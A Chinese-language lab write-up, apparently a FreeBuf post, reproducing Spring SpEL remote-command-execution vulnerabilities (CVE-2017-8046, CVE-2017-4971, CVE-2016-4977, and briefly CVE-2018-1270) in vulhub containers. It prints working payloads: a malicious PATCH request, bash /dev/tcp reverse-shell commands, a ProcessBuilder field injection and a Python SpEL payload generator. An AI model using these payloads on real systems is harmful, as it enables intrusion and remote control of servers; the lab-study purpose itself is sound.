Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
漏洞复现
网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
漏洞原理
Spring data REST是一个构建在SPring data之上, 为了帮助开发者容易的开发REST风格的web服务,在REST API Patch 方法中(实现RFC6902),path的值被植入setvalue ,导致执行了SpELl表达式,触发远程命令执行结果。
Spring-data-rest服务器在处理PATCH请求的时候,攻击者可以构造恶意的PATCH请求并发送给Spring-data-rest服务器,通过构造好的json数据来执行任意的java代码
影响版本
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3Spring Boot version < 2.0.0M4Spring Data release trains < Kay-RC3
参考链接:
http://xxlegend.com/2017/09/29/Spring%20Data%20Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析/
https://tech.meituan.com/Spring_Data_REST_远程代码执行漏洞%28CVE-2017-8046%29_分析与复现.html
环境搭建
使用vulhub搭建 docker-compose up -d
漏洞复现
http://UIP:8003/customers/1
PATCH /customers/1 HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202 [{ “op”: “replace”, “path”: “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname”, “value”: “vulhub” }]
path 的值 是SpELl表达式,发送上述的数据包
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。然后进入容器docker-compose exec spring bash看看:
下面是反弹shell
命令:
bash -i >& /dev/tcp/UIP/Port/ 0>&1
此时不能够加上hhttp协议,因为不一定非是通过http协议进行的
base64编码:
参考网址http://www.jackson-t.ca/runtime-exec-payloads.html
然后对base64编码后的进行进制的转换
使用的是飞强的IP
使用以下的脚本进行进制转换:
python3
payload = b’touch /tmp/success’
bytecode = ‘,’.join(str(i) for i in list(payload))
print(bytecode)
已经看到是成功的反弹得到shell
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
漏洞的原理
Spring webflow 是一个射用于开发基于流程的应用程序的框架(如购物的逻辑),可以将流程的顶一个时间流程行为的类和识图分离开来,在其2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpELl白哦大师注入漏洞,最终导致任意命令执行。
参考连接:
https://threathunter.org/topic/593d562353ab369c55425a90
https://pivotal.io/security/cve-2017-4971
环境搭建:
docker-compose up -d
访问 http://UIP:8003
漏洞复现:
然后切换到
/hosts/1
然后点击预定 book
点击的时候进行抓包:
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC):
payload 是核心的地方
_(new java.lang.ProcessBuilder(“bash”,”-c”,”bash -i >& /dev/tcp/10.0.0.1/21 0>&1″)).start()=vulhub
bash -i >& /dev/tcp/10.0.0.1/21 0>&1
这一部分进行url转码
Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
漏洞原理
核心是SpELl语言就会存在漏洞
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:
http://secalert.net/#CVE-2016-4977
https://deadpool.sh/2017/RCE-Springs/
http://blog.knownsec.com/2016/10/spring-security-oauth-rce/
运行环境
docker-compose up -d
直接访问页面 http://UIP:Port
漏洞复现
访问: http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可。
可以见到我们输入的SpEL表达式已经执行了
所以我们尝试 上传一个反弹的shell , 然后点击登陆后就可以直接执行了
生成一个shell文件
POC代码如下:
#!/usr/bin/env python
message = input(‘Enter message to encode:’)
poc = ‘${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)’ % ord(message[0])
for ch in message[1:]:
poc += ‘.concat(T(java.lang.Character).toString(%s))’ % ord(ch)
poc += ‘)}’
print(poc)
POC代码的出处:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py
已经监听到了:
来源:freebuf.com 2021-01-04 15:52:44 by: 12qwasxz
请登录后发表评论
注册